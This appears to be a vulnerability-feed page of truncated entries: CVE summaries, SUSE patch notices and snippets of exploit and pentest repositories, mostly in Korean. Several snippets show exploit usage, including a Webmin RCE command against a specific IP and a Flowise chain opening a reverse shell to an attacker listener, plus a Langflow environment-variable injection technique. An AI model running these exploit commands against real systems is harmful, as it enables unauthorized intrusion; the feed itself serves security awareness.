CVE-2026-102371 wsl-pro-service: Ubuntu Pro token exposed via process command-line arguments

In wsl-pro-service before 0.1.19ubuntu3, the service component which runs as root inside each WSL instance attaches the instance to Ubuntu Pro by executing the pro client with the Ubuntu Pro token passed as a command-line argument pro attach . On systems where /proc is mounted without...

pentest-writeups

pentest-writeups Kioptrix Level 1 분석 보고서 - CVE-2003-0201 Samba trans2open Kioptrix Level 1 — 침투 테스트 분석 보고서 저자: Amirbek Raxmatullayev @americo444 날짜: 2026-06-17 플랫폼: VulnHub 난이도: 초급 목표: root 권한 획득 1. 환경 설정 구성 요소| 세부 정보 ---|--- 호스트 OS| Ubuntu 26.04 하이퍼바이저| QEMU/KVM 대상| Kioptrix Level 1 VMDK 공격자 IP|...

Linux-Kernel-Copy-Fail-CVE-2026-31431-

Copy FailCVE-2026-31431 취약점 분석 및 대응 실습 본 프로젝트는 Linux Kernel Copy FailCVE-2026-31431 취약점의 동작 원리를 분석하고, 공개 PoC 레포지토리의 비파괴적 checker 를 이용해 패치 전후 상태를 비교한 미니프로젝트입니다. 실제 setuid 바이너리 변조나 /etc/passwd 변조 exploit은 수행하지 않고, 임시 testfile 기반의 안전한 취약 여부 확인과 탐지/완화 관점의 분석에 초점을 두었습니다. 1. 프로젝트 목표 이 프로젝트의 목표는 단순히...

CVE-2019-15107-Exploit

CVE-2019-15107 Python 익스플로잇 이 익스플로잇은 CVE-2019-15107 Webmin 1.890-1.920에 대한 인증되지 않은 RCE 이며 Python 으로 구현되었습니다. 사용법 python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2019-25024

CVE-2019-25024 OpenRepeater ORP / 인증되지 않은 명령 삽입 권고: MITRE CVE: https://vulners.com/cve/CVE-2019-25024 US NIST: https://nvd.nist.gov/vuln/detail/CVE-2019-25024 Tenable: https://www.tenable.com/cve/CVE-2019-25024 VulDB: https://vuldb.com/?id.170172 Ubuntu: https://ubuntu.com/security/CVE-2019-25024...

CVE-2026-19650-CVE-2026-19478

cve-id 후원 PayPal 또는 아래 QR 코드를 스캔하여 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 설정 예시: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux...

CVE-2026-97430

A flaw was found in the Linux kernel's USB eXtensible Host Controller Interface xHCI driver. When the host controller is inaccessible during power management operations, such as system suspend or resume, new commands are not properly prevented from being added to the command ring. A local user...

CVE-2026-97422

A flaw was found in the Linux kernel. The AMD Kernel Fusion Driver amdkfd subsystem fails to enforce proper permission checks when dispatching System Management Interface SMI event notifications. A local user with access to the GPU compute device can exploit this flaw to receive event notificatio...

Check-Point-Trusted-Access-Review

Check Point Trusted Access Review 가능한 한 빨리 공급업체 패치를 반드시 적용하십시오. 신뢰할 수 있는 Check Point Management API 명령을 사용하여 Check Point Trusted Access Review를 수행하기 위한 로컬 웹 앱입니다. 대부분의 검사는 검토 전용입니다. 사용 가능한 수정 조치는 명시적 운영자 승인이 있어야만 수행됩니다. 이 스캐너는 CVE-2026-16232https://support.checkpoint.com/results/sk/sk185169,...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 인증되지 않은 RCE MCP stdio 환경변수 주입 1.10.1까지의 Langflow OSS에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다. MCP stdio 서버 구성을 보호하는 환경변수 블랙리스트DANGEROUSENVVARS에 SHELLOPTS, BASHOPTS, PS4가 누락되어 있습니다. MCP stdio 런처가 구성된 명령어를 bash -c로 실행하기 때문에, 공격자는 SHELLOPTS=xtrace와 PS4 명령어 치환을 주입하여...

LARAVEL-EXPLOIT

██╗ █████╗ ██████╗ █████╗ ███████╗██╗ ██╗██████...

Security update for libXrender

This update for libXrender fixes the following issue: CVE-2026-88807: RenderQueryPictFormats Reply Heap-based Buffer Overflow bsc1280911. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zypper patch". Alternatively you can r...

Security update for python311

This update for python311 fixes the following issues: CVE-2026-9669: crafted input can cause a stack buffer overflow bsc1267974. CVE-2026-15310: memory exhaustion in zipfile in bzip2/LZMA/Zstandard decompression bsc1277111. CVE-2026-15806: urllib.request.HTTPPasswordMgr credentials for one URL...

Security update for libXrender

This update for libXrender fixes the following issue: CVE-2026-88807: RenderQueryPictFormats Reply Heap-based Buffer Overflow bsc1280911. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zypper patch". Alternatively you can r...

CVE-2025-58440

CVE-2025-58440 Laravel FileManager에서 Polyglot 파일 공격과 Null Byte Injection을 통한 원격 코드 실행RCE 개요 unisharp/laravel-filemanager 패키지 2.11 버전은 파일 업로드 시 부적절한 파일 유형 검증으로 인해 원격 코드 실행RCE 취약점에 노출됩니다. 이 취약점으로 인해 공격자는 파일 확장자 검증을 악용해 GIF 이미지로 위장한 악성 PHP 파일을 업로드할 수 있습니다. 구체적으로, 공격자는 .php 확장자에 마침표.를 추가하고 GIF89a; 헤더...

CVE-2026-25089

🚨 CVE-2026-25089 - FortiSandbox의 치명적인 OS Command Injection 📖 개요 CVE-2026-25089 은 여러 Fortinet FortiSandbox 배포에 영향을 미치는 치명적인 OS Command Injection CWE-78 취약점입니다. 인증되지 않은 원격 공격자는 특수하게 조작된 HTTP 요청을 전송하여 이 결함을 악용할 수 있으며, 이를 통해 기본 운영 체제에서 임의의 명령 실행이 가능합니다. ⚠️ 성공적인 악용 시 어플라이언스 전체가 손상되고 원격 코드 실행RCE으로 이어질 수...

CVE-2026-82804

The scriptPath parameter is incorporated into a /bin/sh -c command without sufficient neutralization of shell metacharacters, allowing shell command substitution and execution. An authenticated user can exploit this behavior by creating a resource whose filename contains shell command substitutio...

CVE-2026-82973

Improper neutralization of CRLF sequences in IMAP command construction in psyb0t/docker-mailbox before 0.4.13 allows a remote unauthenticated attacker, when bearer-token authentication is not configured, to inject additional IMAP commands into an authenticated upstream mailbox connection via...

CVE-2026-102437

OS Command Injection in internal/gitcmd git diff filter.clean/smudge invocation in esengine DeepSeek-Reasonix Reasonix Studio allows a local attacker who controls repository content .gitattributes + .git/config to execute arbitrary commands via the desktop app's workspace-changes diff viewer...